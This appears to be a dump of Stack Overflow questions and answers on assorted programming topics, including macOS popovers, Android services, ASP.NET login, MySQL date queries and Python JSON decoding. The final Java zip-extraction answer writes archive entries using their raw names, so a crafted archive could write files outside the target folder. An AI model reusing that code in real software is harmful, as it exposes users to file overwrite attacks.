34502427	0	awakeFromNib gets called twice and outlets inside viewcontroller are not set <p>I am trying to build a menubar application for OSX. I have a AppDelegate, a Storyboard and a ViewController. The storyboard contains a application scene with the AppDelegate. The AppDelegate sets up the whole view hierarchy. Inside the AppDelegate I define a NSPopover with a ContentViewController(My ViewController). In order to set the ContentViewController I load the ViewController from the storyboard with the following code:</p> <pre><code> NSStoryboard*board=[NSStoryboard storyboardWithName:@"Main" bundle:nil]; _ruleView.contentViewController=[board instantiateControllerWithIdentifier:@"egm"]; </code></pre> <p>When I use the debugger to examine the awakeFromNib method the outlets inside the ViewController are not set why? The next problem is when the NSStatusItem is clicked it shows the NSPopover and the NSPopover calls the awakeFromNib inside my ViewController again and then my application crashes. Here is the code of the AppDelegate:</p> <pre><code>#import "AppDelegate.h" #import "ViewController.h" @interface AppDelegate() { NSStatusItem*_statusItem; NSPopover*_ruleView; } -(void)statusItemButtonPressed:(id)sender; -(void)openPopupWindow; -(void)closePopupWindow; @end @implementation AppDelegate - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { } -(id)init { self=[super init]; if(self) { _ruleView=[[NSPopover alloc] init]; NSStoryboard*board=[NSStoryboard storyboardWithName:@"Main" bundle:nil]; _ruleView.contentViewController=[board instantiateControllerWithIdentifier:@"egm"]; _statusItem=[[NSStatusBar systemStatusBar] statusItemWithLength:24]; _statusItem.button.title=@"EG"; _statusItem.button.action=@selector(statusItemButtonPressed:); } return self; } -(void)statusItemButtonPressed:(id)sender { if(!_ruleView.shown) { [self openPopupWindow]; } else { [self closePopupWindow]; } } -(void)openPopupWindow{ [_ruleView showRelativeToRect:NSZeroRect ofView:_statusItem.button preferredEdge:NSMinYEdge]; } -(void)closePopupWindow{ [_ruleView close]; } - (void)applicationWillTerminate:(NSNotification *)aNotification { // Insert code here to tear down your application } </code></pre>
14618237	0	 <p>You must never use a string in high volume applications. UI or not. Multi-threading or not.</p> <p>You should use StringBuilder to accumulate the string. and then assign</p> <pre><code>tb.Text = sb.ToString(); </code></pre>
2546126	0	 <p>The kind of peer-to-peer networking problems become simple to the point of being trivial if you designate one machine as the master server. It should have a well-known name that all sub-servers can connect to so they can publish (and withdraw) their availability. A client can then send a query request to the same server and get a list of known servers in return.</p> <p>This can also solve your firewall problem, the master server could be listening on port 80.</p> <p>Look into the System.Net.PeerToPeer namespace for a p2p solution supported by the framework.</p>
31493703	0	log the alert box that pops up when leaving a page <p>I want to log alert boxes that pop up when I leave a page(when onbeforeunload, onunload or any other event is triggered while leaving a page). So I have overwritten alert function to record alert function invocations. Then I set window.location to some other url to navigate away from the page. But the problem is that when window.location is executed, it destroys my custom alert function and I can not log it any more. Any suggestion on how to solve it? <strong>Edit</strong> The page that I want to log its alert box is a third party's page. In order to inspect it, a scrip code is injected to the header of the page like this:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;html&gt; &lt;head&gt; &lt;script&gt; window.alert = function(str){console.log(‘alert is called: ’ + str);}&lt;/script&gt; &lt;/head&gt; &lt;body onbeforeunload=function(){alert(“you are leaving!”);}&gt; Sample page &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>When I execute window.location='<a href="http://google.com" rel="nofollow">http://google.com</a>' on this page, an alert box pops up, instead of calling that overwritten alert function.</p>
36252733	0	How to stop Service when app is paused or destroyed but not when it switches to a new Activity? <p>Currently I have a <code>Service</code> which I am using to play a sound file in the background whilst the app is open:</p> <pre><code>public class BackgroundSoundService extends Service { MediaPlayer player; public IBinder onBind(Intent arg0) { return null; } @Override public void onCreate() { super.onCreate(); player = MediaPlayer.create(this, R.raw.sound); player.setLooping(true); player.setVolume(100, 100); } public int onStartCommand(Intent intent, int flags, int startId) { player.start(); return 1; } @Override public void onDestroy() { player.stop(); player.release(); } } </code></pre> <p>And the <code>Service</code> is started in my <code>MainActivity</code> like so:</p> <pre><code>BackgroundSoundService backgroundSoundService = new Intent(this, BackgroundSoundService.class); </code></pre> <p>I want the <code>Service</code> to continue to run whilst the app is open, although to stop when the app is minimised or destroyed. I thought the initial solution to this would be to override <code>onPause</code> and <code>onDestroy</code>, and implement this line:</p> <pre><code>stopService(backgroundSoundService); </code></pre> <p>However when I then switch to another <code>Activity</code>, <code>onPause</code> is then triggered and the <code>Service</code> stops. How can I ensure that the <code>Service</code> continues to run as long as the application is open in the foreground but stops when the app is minimised or closed?</p>
2712107	0	 <p>This article is a guide to building a .net component ,using it in a Vb6 project at runtime using late binding, attaching it's events and get a callback.</p> <p><a href="http://www.codeproject.com/KB/cs/csapivb6callback2.aspx" rel="nofollow noreferrer">http://www.codeproject.com/KB/cs/csapivb6callback2.aspx</a></p>
24403570	0	Restricting user access in asp.net <p>I am working on asp.net application. I want only logged in users to access the Game page. When the users log in, the id and pass are authenticated from the SQL then they are logged in. and I want the logged in users to have an access to Games.aspx.</p> <p>Here is the login code,</p> <pre><code> public partial class Login : System.Web.UI.Page { //"Data Source=MUNIZA\\SQLEXPRESS;Initial Catalog=LD_Server;Integrated Security=True"; protected void Page_Load(object sender, EventArgs e) { lbInfo.Enabled = false; } public bool IsAuthenticated { get { return Convert.ToBoolean(Session["sIsAuthenticated"] ?? false); } set { Session["sIsAuthenticated"] = value; } } protected void Button1_Click(object sender, EventArgs e) { string strcon = "Data Source=MUNIZA\\SQLEXPRESS;Initial Catalog=LD_Server;Integrated Security=True"; SqlConnection con = new SqlConnection(strcon); SqlCommand com = new SqlCommand("spStudentProfile", con); com.CommandType = CommandType.StoredProcedure; SqlParameter p1 = new SqlParameter("RegNo", TextBox2.Text); SqlParameter p2 = new SqlParameter("Password", TextBox1.Text); com.Parameters.Add(p1); com.Parameters.Add(p2); con.Open(); SqlDataReader rd = com.ExecuteReader(); if (rd.HasRows) { IsAuthenticated = true; rd.Read(); Response.Redirect("~/Games.aspx"); } else { IsAuthenticated = false; lbInfo.Enabled = true; lbInfo.Text = "Invalid username or password."; } } </code></pre> <p>It is the login code on every page, </p> <pre><code> &lt;% string url = "~/Login.aspx", text = "Log in"; if (Convert.ToBoolean(Session["sIsAuthenticated"] ?? false)) { url = "~/Home.aspx"; text = "Log out"; } %&gt; &lt;a href="&lt;%: ResolveUrl(url) %&gt;"&gt;&lt;%: text %&gt;&lt;/a&gt; &lt;/div&gt; </code></pre>
17149680	0	how to change view in ios tabbed application without changing tab and maintaining tab bar visible <p>i have an iphone project that is a tabbed application. In the first tab I have a login form and I want that the user data returned by the login funcion to be shown in another view that takes the place of the view that contains the login form, without changing tab, and without taking all window's space because I don't want the tab bar to be hidden. How can I do this (without storyboard)?</p> <pre><code>CMAnagrViewController *reg = [[CMAnagrViewController alloc] initWithNibName:@"CMAnagrViewController" bundle:nil]; UIWindow *topWindow = [[[UIApplication sharedApplication].windows sortedArrayUsingComparator:^NSComparisonResult(UIWindow *win1, UIWindow *win2) { return win1.windowLevel - win2.windowLevel; }] lastObject]; //topWindow.rootViewController = reg; [topWindow addSubview:reg.view]; </code></pre> <p>if I do like this the view is too high and part of the navigation bar goes under the status bar and part of the tab bar is out of the screen, but if i uncomment the </p> <pre><code>//topWindow.rootViewController = reg; </code></pre> <p>line then the new window goes full screen and i see all the navigation bar under the status bar but there's no tab bar..</p> <p>Thank you all!</p>
11065068	0	 <p>You take the individual values (Mon, Day, Year), combine them in to a single date, and then store that. For display you do the reverse, you take the date, break it down in to the individual values, and then update each drop down appropriately.</p> <p>Make sure you validate the date before storing it so you don't end up trying to store "Feb 30, 2012".</p>
8203582	0	 <p>If you want to self host then:</p> <ul> <li><a href="http://code.google.com/p/pywebsocket/" rel="nofollow">pywebsocket</a> - Python</li> <li><a href="http://jwebsocket.org/" rel="nofollow">jwebsocket</a> - Java</li> <li><a href="http://wiki.eclipse.org/Jetty/Feature/WebSockets" rel="nofollow">jetty with WebSockets</a> - Java</li> </ul> <p>You could connect to the Pusher hosted WebSocket API to see if you can connect. More information on the endpoints and Pusher protocol here: <a href="http://pusher.com/docs/pusher_protocol" rel="nofollow">http://pusher.com/docs/pusher_protocol</a></p> <p>You would need to sign up for a free Pusher sandbox account to do this though.</p>
31820679	0	Lua script for redis transaction <blockquote> <p>Is there a way to use MULTI &amp; EXEC command in lua? If not how to perform >transaction using lua script</p> </blockquote>
34907698	0	 <p>The problem is that you try to call an instance function without having an actual instance at hand.</p> <p>You either have to create an instance and call the method on that instance:</p> <pre><code>let instance = APISFAuthentication(...) instance. sfAuthenticateUser(...) </code></pre> <p>or define the function as a class function:</p> <pre><code>class func sfAuthenticateUser(userEmail: String) -&gt; Bool { ... } </code></pre> <p><strong>Explanation:</strong></p> <p>What Xcode offers you and what confuses you is the class offers the capability to get a reference to some of its instance functions by passing an instance to it:</p> <pre><code>class ABC { func bla() -&gt; String { return "" } } let instance = ABC() let k = ABC.bla(instance) // k is of type () -&gt; String </code></pre> <p><code>k</code> now <em>is</em> the function <code>bla</code>. You can now call <code>k</code> via <code>k()</code> etc.</p>
27281621	0	 <p>First, don't use action bar tabs because they are deprecated (find an alternative <a href="http://stackoverflow.com/questions/24473213/action-bar-navigation-modes-are-deprecated-in-android-l">Action bar navigation modes are deprecated in Android L</a>).</p> <p>Second, optimize fragments that are contained in ViewPager.</p> <p>Third, optimize everything else (like navigation drawer listview)</p>
17448181	0	MySQL - Get next closest day between two days <p>We have two dates in database:</p> <ol> <li>2013-08-01</li> <li>2013-08-03</li> </ol> <p>Let say that today's date is 2013-08-02 and we want to get next closest date from database. I've found this query, but it's not getting the next day but previous:</p> <pre><code>SELECT * FROM your_table ORDER BY ABS(DATEDIFF(NOW(), `date`)) LIMIT 1 </code></pre> <p>When we run it, we get 2013-08-01 and not 2013-08-03 as we want. What would be the solution?</p>
24174312	0	 <p>You can just use moment.js, and this is all in <a href="http://momentjs.com/docs" rel="nofollow">the documentation</a>.</p> <pre><code>moment('6/29/2014 8:30am','M/D/YYYY h:mma').toISOString() </code></pre> <p>This assumes all of the following:</p> <ul> <li><p>The source value is in the user's time zone (that is - the time zone of the machine where the JavaScript code is running)</p></li> <li><p>The input will always be in the specified format</p></li> </ul> <p>It's also worth mentioning that if you put a space before the "am", that most modern browsers can do this natively without any library:</p> <pre><code>new Date('6/29/2014 8:30 am').toISOString() </code></pre> <p>If you take that approach, realize that the date parts are ordered according to the users locale, which might be m/d/y, or d/m/y or y/m/d.</p> <p>Also, you said in the title "... with no milliseconds", but didn't elaborate on that in your question. I'm fairly certain you can pass the milliseconds without issue. There's no good reason to go out of your way to remove them. But if you must, then that would be like this with moment:</p> <pre><code>moment('6/29/2014 8:30am','M/D/YYYY h:mma').utc().format('YYYY-MM-DD[T]HH:mm:ss[Z]') </code></pre>
27403399	0	 <p>I have not found any way to do it with SQL, so I found this solution:</p> <pre><code>$posts = Posts::all(); foreach ( $posts as $key =&gt; $post ) if ( strtotime($post-&gt;created_at . '+5 days') &lt; time() ) unset( $posts[$key] ); </code></pre> <p>What I do here is that I iterate through the entire array of objects. As soon as I found a record that does not fit my time limits, I delete it from the array.</p>
32090590	0	Bootstrap Select plugin: deselect issue <p>I am using Bootstrap framework with the <a href="http://silviomoreto.github.io/bootstrap-select/" rel="nofollow">Bootstrap Select</a> plugin.</p> <p>This is a regular select tag, not multiple, here is the code I used:</p> <pre><code>&lt;select class="selectpicker show-tick" name="main_course_select" id="main_course_select" title="main" data-style="btn-primary" data-width="100%"&gt; &lt;?php echo get_food($mysqli,'main'); ?&gt; &lt;/select&gt; </code></pre> <p>Where <code>get_food()</code> function simply prints <code>&lt;option&gt;</code> tags with values from the MySQLi database.</p> <p>When I first click an <code>option</code> I can see it is ticked just fine, when I click the same option again I want the option to be deselected, why is this not a default feature is beyond me and I don't like to use multiple select to achieve this. Anyone have any idea on how to get this done?</p> <p>Here is the problem reproduced:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() { $('.selectpicker').selectpicker(); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.5/js/bootstrap.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.7.3/js/bootstrap-select.js"&gt;&lt;/script&gt; &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.5/css/bootstrap.css"&gt; &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.7.3/css/bootstrap-select.css"&gt; &lt;select class="selectpicker show-tick" name="main_course_select" id="main_course_select" title="main" data-style="btn-primary" data-width="100%"&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;/select&gt;</code></pre> </div> </div> </p>
17111434	0	 <p>Add an <code>event</code> parameter to your handler function, and then use <code>event.target</code> to get the <code>&lt;a&gt;</code> element that was clicked. From there you can go up to the parent <code>&lt;div&gt;</code> and back down to the <code>&lt;span&gt;</code>.</p> <pre><code>$('#resultats_son').click(function(event){ var spanId = $(event.target).parent('div').children('span').attr('id'); $('#resultats_son_div').hide(); $('#player_son_div').show(); $('#player_son').html("&lt;iframe ...&gt;&lt;/iframe&gt;").show(); //Show second div on click event return false; }); </code></pre>
30152776	0	 <p>A <a href="https://marc-stevens.nl/research/sha1freestart/">76-round collision</a> was found by <a href="https://marc-stevens.nl/research/">Marc Stevens</a>.</p> <p>Cryptographer Jean-Philippe Aumasson, co-creator of <a href="https://en.wikipedia.org/wiki/BLAKE_%28hash_function%29">BLAKE</a> and <a href="https://en.wikipedia.org/wiki/SipHash">SipHash</a> and initiator of the <a href="https://en.wikipedia.org/wiki/Password_Hashing_Competition">Password Hashing Competition (PHC)</a>, guesses an SHA1 collision on the full 80 rounds <a href="https://twitter.com/veorq/status/594072335205978112">will have been found by 2020</a>.</p> <p>According to <a href="https://sites.google.com/site/itstheshappening/">ongoing research by Marc Stevens et al. published in October 2015</a>,</p> <blockquote> <p>... we estimate the SHA-1 collision cost <strong>today</strong> (i.e., Fall 2015) between <strong>75K$ and 120K$</strong> renting Amazon EC2 cloud computing over a few months. By contrast, security expert Bruce Schneier previously projected the SHA-1 collision cost to be ~173K$ by 2018.</p> </blockquote> <p>They also describe a collision attack for SHA1's compression function.</p>
13680508	0	Image is not in one line with other components <p>I know that alignment is sometimes complicated in html. But here is something puzzled for me. I have div with text,button and image with no other options.</p> <pre><code>&lt;div class="div-filter"&gt; &lt;input type="text" value="Hladaj"/&gt; &lt;input type="submit" value="Hladaj"/&gt; &lt;img alt="image" id = "ShowOrHideImage" /&gt; </code></pre> <p> </p> <p><img src="https://i.stack.imgur.com/z8VoC.png" alt="enter image description here"></p> <p>Why is image is cca 5px higher? Without image there is no padding over text and button. When I put there image..... </p> <p>To be clear:</p> <pre><code>&lt;style&gt; .div-filter { background-color:rgb(235, 235, 98); width:100%; border-bottom-width: 1px; border-top-width: 1px; border-left-width: 1px; border-right-width: 1px; border-bottom-color: black; border-top-color: black; border-left-color: black; border-right-color: black; border-bottom-style: solid; border-top-style: solid; border-left-style: solid; border-right-style: solid; } </code></pre> <p></p> <p>I can resolve it with table and tableRow but it is not good for me.</p>
13057842	0	 <p>You question isn't clear. Frequency has nothing to do with getting signal strength. Signal strength is calculated by the WiFi client upon receiving of frame. If you want to get every channel signal strength, you need to do WiFi scanning. Scanning is defined in 802.11 (WiFi) protocol and is done every n time units without user intervention. </p>
7068186	0	 <p>You can write your "label" without "for" like this :</p> <pre><code>&lt;p&gt;&lt;label&gt;Text 1 : &lt;input type="text" name="text[]" /&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Text 2 : &lt;input type="text" name="text[]" /&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Text 3 : &lt;input type="text" name="text[]" /&gt;&lt;/label&gt;&lt;/p&gt; </code></pre>
19968773	0	 <p>I'd take a screenshot, then make a histogram of the image to find the most common colour.</p> <p>Refinements:</p> <ul> <li>First go through and replace all text content with "&amp; nbsp;"</li> <li>Give extra weight to the pixels closest to the edge of the screen.</li> </ul> <p>(To automate entirely within PhantomJS, you might be able to use something like <a href="http://html2canvas.hertzen.com/" rel="nofollow">http://html2canvas.hertzen.com/</a> to use a canvas, and never need to make an external image file.)</p>
19586142	0	 <p>It means that the external process [server] has a codeset that that version of JacORB does not support or cannot negotiate with. If you dump out the IOR of the server, or use wireshark you should be able to see what it is.</p>
18733408	0	Cannot find symbol : constructor <p>When I compile I am getting the error: cannot find symbol symbol : constructor Team()</p> <pre><code>public class Team { public String name; public String location; public double offense; public double defense; public Team(String name, String location) { } public static void main(String[] args) { System.out.println("Enter name and location for home team"); Scanner tn = new Scanner(System.in); Team team = new Team(); team.name = tn.nextLine(); Scanner tl = new Scanner(System.in); team.location = tl.nextLine(); } } </code></pre> <p>Any ideas how to fix? many thanks Miles</p>
27397145	0	 <p>alternative is to change the order of timestamp column </p> <p>OR </p> <p>set first column DEFAULT value like this</p> <pre><code>ALTER TABLE `tblname` CHANGE `first_timestamp_column` `first_timestamp_column` TIMESTAMP NOT NULL DEFAULT 0; </code></pre> <p><a href="http://jasonbos.co/two-timestamp-columns-in-mysql/" rel="nofollow"><code>Reference</code></a></p>
33656112	1	decode JSON in python <p>I am having a problem I can't quite seem to find the solution to. I have an application that speaks with a Java app via JSON. Pretty simple, but I'm having an issue decoding JSON off the wire with nested objects. For example I have:</p> <pre><code>class obj1(object): def __init__(self, var1, var2): self.var1 = var1 self.var2 = var2 def __eq__(self, other): return (isinstance(other, obj1) and self.var1 == obj1.var1 and self.var2 == obj2.var2) class obj2(object): def __init__(self, v1, v2, obj1): self.v1 = v1 self.v2 = v2 self.obj1 = obj1 </code></pre> <p>and I want to serialize and de-serialize the "obj2" class, I can create it pretty easily:</p> <pre><code>myObj1 = obj1(1,2) myObj2 = obj2(3.14, 10.05, myObj1) </code></pre> <p>when I want to send it Json, it's obviously pretty easy:</p> <pre><code>import json def obj_to_dict(obj): return obj.__dict__ my_json = json.dumps(myObj2, default=obj_to_dict) </code></pre> <p>this creates the perfect JSON as I would expect:</p> <pre><code>{"obj1": {"var1": 1, "var2": 2}, "v1": 3.14, "v2": 10.05} </code></pre> <p>the problem I am having is encoding this string back into the two objects. I can't add any extra type information because the application that sends this schema back sends it back in exactly this way. so when I try and rebuild it from the dictionary:</p> <pre><code>obj_dict = json.loads(my_json) myNewObj = obj2(**obj_dict) </code></pre> <p>it doesn't quite work</p> <pre><code>print myNewObj.obj1 == obj1 #returns False. </code></pre> <p>Is there some better way to get from JSON -> Custom objects? (In reality I have like 20 custom objects nested inside another Object. the Object -> JSON works perfectly, its just going the other direction. Any thoughts?</p>
28811035	0	Matlab string to double (str2double) <p>I am trying to build a finantial application that handle economical data using Matlab. The file I want to load is in a csv file and are double numbers in this format '1222.3'. So far, I am just working with one dimension and I am able to load the data into a vector.</p> <p>The problem is that the data is loaded into the vector in String format. To change all the vector into double format I use str2double(vector), but the numbers into the vector end like this:</p> <p>1222.3 -> 1.222 <br> 153.4 -> 0.1534</p> <p>I have tried to multiply the vector per 100 (vector.*100), but did not work.</p> <p>Any idea?</p>
34708148	0	 <h2>Middleware recommendation</h2> <p>The answer by @miro is very good but can be improved as in the following middleware in a separate file (as @ebohlman suggests).</p> <h3>The middleware</h3> <pre><code>module.exports = { configure: function(app, i18n, config) { app.locals.i18n = config; i18n.configure(config); }, init: function(req, res, next) { var rxLocale = /^\/(\w\w)/i; if (rxLocale.test(req.url)){ var locale = rxLocale.exec(req.url)[1]; if (req.app.locals.i18n.locales.indexOf(locale) &gt;= 0) req.setLocale(locale); } //else // no need to set the already default next(); }, url: function(app, url) { var locales = app.locals.i18n.locales; var urls = []; for (var i = 0; i &lt; locales.length; i++) urls[i] = '/' + locales[i] + url; urls[i] = url; return urls; } }; </code></pre> <p>Also in sample project in <a href="https://github.com/Wtower/express-experiment/blob/master/services/i18n_urls.js" rel="nofollow">github</a>.</p> <h3>Explanation</h3> <p>The middleware has three functions. The first is a small helper that configures <code>i18n-node</code> and also saves the settings in <code>app.locals</code> (haven't figured out how to access the settings from <code>i18n-node</code> itself).</p> <p>The main one is the second, which takes the locale from the url and sets it in the request object.</p> <p>The last one is a helper which, for a given url, returns an array with all possible locales. Eg calling it with <code>'/about'</code> we would get <code>['/en/about', ..., '/about']</code>.</p> <h3>How to use</h3> <p>In <code>app.js</code>:</p> <pre><code>// include var i18n = require('i18n'); var services = require('./services'); // configure services.i18nUrls.configure(app, i18n, { locales: ['el', 'en'], defaultLocale: 'el' }); // add middleware after static app.use(services.i18nUrls.init); // router app.use(services.i18nUrls.url(app, '/'), routes); </code></pre> <p><a href="https://github.com/Wtower/express-experiment/blob/master/app.js" rel="nofollow">Github link</a></p> <p>The locale can be accessed from eg any controller with <code>i18n-node</code>'s <code>req.getLocale()</code>.</p> <h3>RFC</h3> <p>What @josh3736 recommends is surely compliant with RFC etc. Nevertheless, this is a quite common requirement for many i18n web sites and apps, and even Google respects same resources localised and served under different urls (can verify this in webmaster tools). What I would recommended though is to have the same alias after the lang code, eg <code>/en/home</code>, <code>/de/home</code> etc.</p>
32526261	0	how to get outer class name from inner enum <p>basicly what i want to do is written in code. so , is there a way with templates or with something else get outer class name in global function ? is there a way to get this code work?</p> <pre><code>#include &lt;iostream&gt; class A { public: enum class B { val1, val2 }; typedef B InnerEnum; static void f(InnerEnum val) { std::cout &lt;&lt; static_cast&lt;int&gt;(val); } }; template &lt;typename T1&gt; void f(typename T1::InnerEnum val) { T1::f(val); } int main() { A::InnerEnum v = A::InnerEnum::val1; f(v); return 0; } </code></pre>
41027857	0	 <p>It may be only because the comparison operand is >= and not => but i can't try any further, sorry. </p>
7254014	0	 <p>A <code>ListActivity</code> needs a <code>ListView</code> with the ID <code>android.R.id.list</code>. As you create your activity, everything is fine because you're not specifying a content view of your own, and so a default content view containing just a list is being used.</p> <p>Now, in your <code>setContentView</code> call, what your code is really saying is "Now I want the entire screen to be a big webview." In doing this, you're violating the <code>ListActivity</code> requirement of always having a <code>ListView</code>.</p> <p>You <em>could</em> create a layout file that contains a <code>WebView</code> <em>and</em> a <code>ListView</code> with the ID <code>android.R.id.list</code>, and use onclick to toggle their visibility, and perhaps listen to the hardware back button to toggle back. But I think it would be a neater approach to simply have the click listener launch a new activity, containing only the <code>WebView</code>:</p> <pre><code>lv.setOnItemClickListener(new OnItemClickListener() { public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { // When clicked, show a toast with the TextView text String s = ReadXML.hadashotListItems.get(position).link; Intent intent = new Intent(NewsActivity.this, WebActivity.class); intent.putExtra("url", s); startActivity(intent); } } </code></pre> <p>You could then let your new <code>WebActivity</code> class set <code>R.layout.webview</code> as its content view. Pressing the hardware back button will automatically finish that activity, and bring you back to the list, where you were.</p>
28754534	0	 <p>The abstract operation that converts to a boolean is called <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-9.2" rel="nofollow"><code>ToBoolean</code></a>:</p> <ul> <li>Undefined: <code>false</code></li> <li>Null: <code>false</code></li> <li>Boolean: The result equals the input argument (no conversion).</li> <li>Number: The result is <code>false</code> if the argument is <code>+0</code>, <code>−0</code>, or <code>NaN</code>; otherwise the result is <code>true</code>.</li> <li>String: The result is <code>false</code> if the argument is the empty String (its length is zero); otherwise the result is <code>true</code>.</li> <li>Object: <code>true</code>.</li> </ul> <p>However, this operation is internal and not available.</p> <p>But there are some workaround to use it:</p> <ul> <li><p><a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9" rel="nofollow">Logical NOT Operator ( ! )</a></p> <pre><code>!!variable; </code></pre></li> <li><p><a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.12" rel="nofollow">Conditional Operator ( ? : )</a></p> <pre><code>variable ? true : false; </code></pre></li> <li><p><a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.6.1.1" rel="nofollow">Boolean</a></p> <pre><code>Boolean(variable) </code></pre></li> </ul>
35927127	0	 <p>They are very similar but have some nuances to them. For example, AWS does not allow all traffic within the VNET by default, whereas Azure NSGs allow all traffic between VMs in the VNET. Unfortunately, I don't have a guide for translating from one to the other. The best reference for Azure NSGs: <a href="https://azure.microsoft.com/en-us/documentation/articles/virtual-networks-nsg/" rel="nofollow">https://azure.microsoft.com/en-us/documentation/articles/virtual-networks-nsg/</a>. This documents those default inbound and outbound rules, too. </p>
36255847	0	 <p>You need to use something like Rollup, Webpack, or Browserify. This statement <code>import FormComponent from './FormComponent.js';</code> doesn't mean anything on the client. No browser natively supports it so you need something like the tools mentioned above to turn it into something the browser can actually use. </p> <p>Without them you just have to load the files in your index.html. </p>
7406247	0	 <p><code>Too much recursion</code> means that something is looping over and over again, possibly infinitely. The reason that's happening with your current code is because <code>&lt;a&gt;</code> is a parent of <code>&lt;img&gt;</code>, so any click event on <code>&lt;img&gt;</code> bubble up to the parent <code>&lt;a&gt;</code> (search for "event bubbling" in Google). So your code is basically saying "when someone clicks on <code>&lt;a&gt;</code>, trigger a click on <code>&lt;img&gt;</code> and then <code>&lt;a&gt;</code> (because of event bubbling)" -- which of course causes the code to run again.</p> <p>If the JavaScript plugin already has binded events to clicks on the image, I don't see why you need to bind a click event to the parent <code>&lt;a&gt;</code> that simply clicks on the image. What do you need to happen that isn't already happening when the user clicks on the <code>&lt;img&gt;</code> -- without including your jQuery code?</p>
17517466	0	Visual Studio 2013 Preview Native C++ Edit and Continue <p>Has anyone been able to use <a href="http://msdn.microsoft.com/en-us/library/esaeyddf(v=vs.120).aspx" rel="nofollow">Edit and Continue</a> with Visual Studio 2013 Preview and a C++ native application (either 32 or 64 bit)?</p> <p>After making a simple console application, setting a breakpoint, then making any type of change: </p> <pre><code>Edit and Continue : error 1002 : Data symbol has changed </code></pre> <p>This MSDN page suggests it should work, and I've done everything I think I need to do, such as enabling native Edit and Continue in Tools->Options->Debugging->Edit and Continue<br> <a href="http://msdn.microsoft.com/en-us/library/esaeyddf(v=vs.120).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/esaeyddf(v=vs.120).aspx</a></p> <p>I have no problems with it working in VS 2012. I realize it is a "preview", but I'd be surprised if it is simply broken without any comment. At least a better error could be displayed, such as "not yet enabled in preview".</p> <p>All my googling shows comments about E&amp;C being added for 64bit managed apps, but nothing about native. I tested a simple managed app, and it works there.</p>
41041344	0	Retrieve Google Analytics quotas consumption via API <p>i want to be able to fetch all the quotas status related to the google analytics API consumption. One part of it seems to be available via IAM:</p> <p><a href="https://i.stack.imgur.com/7TGr2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7TGr2.png" alt="IAM Quota monitoring console"></a></p> <p>First, accessing to these data through an API would be nice..is it possible with the IAM API ?? If so, can i get a sample ?</p> <p>Next, i need one more data: the google analytics quota consumption PER VIEW (which is limited to 10.000 queries per view per day)..is it also possible to fetch this data, one way or another ?</p> <p>Cheers,</p> <p>Clément.</p>
10820054	0	 <p>I found the answer -</p> <pre><code>xrLabelGoal.Text = ((DataRowView)GetCurrentRow()).Row["goalnumber"].ToString(); </code></pre> <p>Turns out I was missing the System.Data which allowed me to use the DataRowView. This fixed it. </p>
36033771	0	Adaptive size classes weired issue <p>My app is universal. I have different constraints for iphone and ipad. Using adaptive size classes, Particularly i am assigning label leading margin to superview = 390, for ipad only. As you can see in attached image. <a href="https://i.stack.imgur.com/J2mcg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/J2mcg.png" alt="enter image description here"></a></p> <p>It is working fine, when text to label is static, but my text to label is getting changed dynamically and continuously. Because of this, my lablel's position is getting shifted horizontally.</p> <p><a href="https://i.stack.imgur.com/9n37v.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9n37v.png" alt="original position of label"></a></p> <p><a href="https://i.stack.imgur.com/FizDh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FizDh.png" alt="changing to this position"></a></p> <p><a href="https://i.stack.imgur.com/Hicml.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Hicml.png" alt="enter image description here"></a></p>
10634536	0	 <p>Here is the code I'm using. Change BUFFER_SIZE for your needs.</p> <pre><code>import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; public class ZipUtils { private static final int BUFFER_SIZE = 4096; private static void extractFile(ZipInputStream in, File outdir, String name) throws IOException { byte[] buffer = new byte[BUFFER_SIZE]; BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(outdir,name))); int count = -1; while ((count = in.read(buffer)) != -1) out.write(buffer, 0, count); out.close(); } private static void mkdirs(File outdir,String path) { File d = new File(outdir, path); if( !d.exists() ) d.mkdirs(); } private static String dirpart(String name) { int s = name.lastIndexOf( File.separatorChar ); return s == -1 ? null : name.substring( 0, s ); } /*** * Extract zipfile to outdir with complete directory structure * @param zipfile Input .zip file * @param outdir Output directory */ public static void extract(File zipfile, File outdir) { try { ZipInputStream zin = new ZipInputStream(new FileInputStream(zipfile)); ZipEntry entry; String name, dir; while ((entry = zin.getNextEntry()) != null) { name = entry.getName(); if( entry.isDirectory() ) { mkdirs(outdir,name); continue; } /* this part is necessary because file entry can come before * directory entry where is file located * i.e.: * /foo/foo.txt * /foo/ */ dir = dirpart(name); if( dir != null ) mkdirs(outdir,dir); extractFile(zin, outdir, name); } zin.close(); } catch (IOException e) { e.printStackTrace(); } } } </code></pre>
